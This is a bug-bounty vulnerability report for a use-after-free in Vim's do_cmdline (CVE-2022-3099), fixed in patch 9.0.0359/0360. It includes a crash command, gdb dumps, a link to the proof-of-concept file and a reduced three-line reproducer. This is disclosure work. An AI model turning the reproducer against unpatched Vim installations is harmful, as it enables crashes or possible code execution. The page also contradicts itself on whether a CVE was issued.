Use After Free in function do_cmdline in vim/vim

0

Valid Reported on Sep 1st 2022

Description

Use After Free in function do_cmdline at vim/src/ex_docmd.c:1076.

vim version

```
git log
commit 5d09a401ec393dc930e1104ceb38eab34681de64 (HEAD -> master, tag: v9.0.
```

Proof of Concept

```
./vim -u NONE -i NONE -n -m -X -Z -e -s -S /home/fuzz/test/poc7_huaf.dat -c
Segmentation fault (core dumped)
```

gdb log:

```
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.
0x00005555558102eb in do_cmdline (cmdline=0x6110000002c0 "  mksession! Xtes
1076                    ((wcmd_T *)lines_ga.ga_data)[current_line].lnum-1);

[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────
$rax   : 0x0
$rbx   : 0x007fffffffcec0  →  0x007fffffffcef0  →  0x007ffff
$rcx   : 0x0
```

```
$rdx   : 0x8
$rsp   : 0x007fffffffc600  →  0x000007ff7ff000  →  0x0000000000000000
$rbp   : 0x007fffffffcef0  →  0x007fffffffd180  →  0x007fffffffd1b0  →  0x0
$rsi   : 0x0
$rdi   : 0x3
$rip   : 0x005555558102eb  →  <do_cmdline+9057> mov rax, QWORD PTR [rax+0x8
$r8    : 0x007ffff65a30e0  →  0x0000000000000000
$r9    : 0x0
$r10   : 0x007ffff65a3000  →  0x007ffff7fb8000  →  0x007ffff7709398  →  0x0
$r11   : 0x007ffff4591120  →  0x0000000000000000
$r12   : 0x000fffffffff8d4  →  0x0000000000000000
$r13   : 0x007fffffffc6a0  →  0x0000000041b58ab3
$r14   : 0x007fffffffc6a0  →  0x0000000041b58ab3
$r15   : 0x007fffffffd2a0  →  0x0000000041b58ab3
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow F
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
```

```
0x007fffffffc600|+0x0000: 0x000007ff7ff000  →  0x0000000000000000    ← $rsp
0x007fffffffc608|+0x0008: 0x007fffffffd0b0  →  0x00615000000a80  →  0xbebeb
0x007fffffffc610|+0x0010: 0x00555555b36a51  →  <getsourceline+0> endbr64
0x007fffffffc618|+0x0018: 0x006110000002c0  →  "  mksession! Xtest_mks.out"
0x007fffffffc620|+0x0020: 0x007fffffffc630  →  0x0000000000000008
0x007fffffffc628|+0x0028: 0x0000000000000001
0x007fffffffc630|+0x0030: 0x0000000000000008
0x007fffffffc638|+0x0038: 0x0000000000000001
```

```
   0x5555558102e1 <do_cmdline+9047> je     0x5555558102eb <do_cmdline+9057>
   0x5555558102e3 <do_cmdline+9049> mov    rdi, rdx
   0x5555558102e6 <do_cmdline+9052> call   0x55555568e0e0 <__asan_report_lo
 → 0x5555558102eb <do_cmdline+9057> mov    rax, QWORD PTR [rax+0x8]
   0x5555558102ef <do_cmdline+9061> lea    r15, [rax-0x1]
   0x5555558102f3 <do_cmdline+9065> mov    rcx, QWORD PTR [rbp-0x8e8]
   0x5555558102fa <do_cmdline+9072> mov    rax, QWORD PTR [rbp-0x8e0]
   0x555555810301 <do_cmdline+9079> lea    rdx, [rip+0x326749]        # 0x5
   0x555555810308 <do_cmdline+9086> mov    rsi, rcx
```

```
   1071             if (breakpoint != NULL)
   1072             {
   1073             *breakpoint = dbg_find_breakpoint(
   1074                    getline_equal(fgetline, cookie, getsourceline),
```

```
1075                                        fname,
                // current_line=0x0
→ 1076                  ((wcmd_T *)lines_ga.ga_data)[current_line].lnum-1);

1077                *dbg_tick = debug_tick;
1078                }
1079            }
1080            else
1081            {
```

```
[#0] Id 1, Name: "vim", stopped 0x5555558102eb in do_cmdline (), reason: SI
```

```
[#0] 0x5555558102eb → do_cmdline(cmdline=0x6110000002c0 "  mksession! Xtest
[#1] 0x555555b33ab5 → do_source_ext(fname=0x604000000213 "/home/fuzz/test/p
[#2] 0x555555b34cea → do_source(fname=0x604000000213 "/home/fuzz/test/poc7_
[#3] 0x555555b317a8 → cmd_source(fname=0x604000000213 "/home/fuzz/test/poc7
[#4] 0x555555b3180d → ex_source(eap=0x7fffffffd2f0)
[#5] 0x55555581891e → do_one_cmd(cmdlinep=0x7fffffffd650, flags=0xb, cstack
[#6] 0x55555580fbc1 → do_cmdline(cmdline=0x6040000000d0 "so /home/fuzz/test
[#7] 0x55555580df5b → do_cmdline_cmd(cmd=0x6040000000d0 "so /home/fuzz/test
[#8] 0x555555e0ce82 → exe_commands(parmp=0x555556079fe0 <params>)
[#9] 0x555555e05ff0 → vim_main2()
```

poc download url: https://github.com/Janette88/vim/blob/main/poc7_huaf.dat

Impact

Referencing memory after it has been freed can cause a program to crash, use unexpected values, or execute code.

CVE
CVE-2022-3099
(Published)

Vulnerability Type
CWE-416: Use After Free

Severity
High (7.8)

Registry
Other

Affected Version

*

Visibility
Public

Status
Fixed

Found by

janette88
@janette88
master

Fixed by

Bram Moolenaar
@brammool
maintainer

This report was seen 956 times.

We are processing your report and will contact the **vim** team within 24 hours. 3 months ago

janette88 modified the report 3 months ago

We have contacted a member of the **vim** team and are waiting to hear back 3 months ago

Bram Moolenaar validated this vulnerability 3 months ago

It still reproduces with this drastically reduced POC:
111111111111111111111111 for line in ['one']
endfor

janette88 has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

Maintainer

Bram Moolenaar 3 months ago

Fixed with patch 9.0.0360

Bram Moolenaar marked this as fixed in **9.0.0359** with commit **35d21c** 3 months ago

Bram Moolenaar has been awarded the fix bounty ✔

This vulnerability will not receive a CVE ✖

Sign in to join this conversation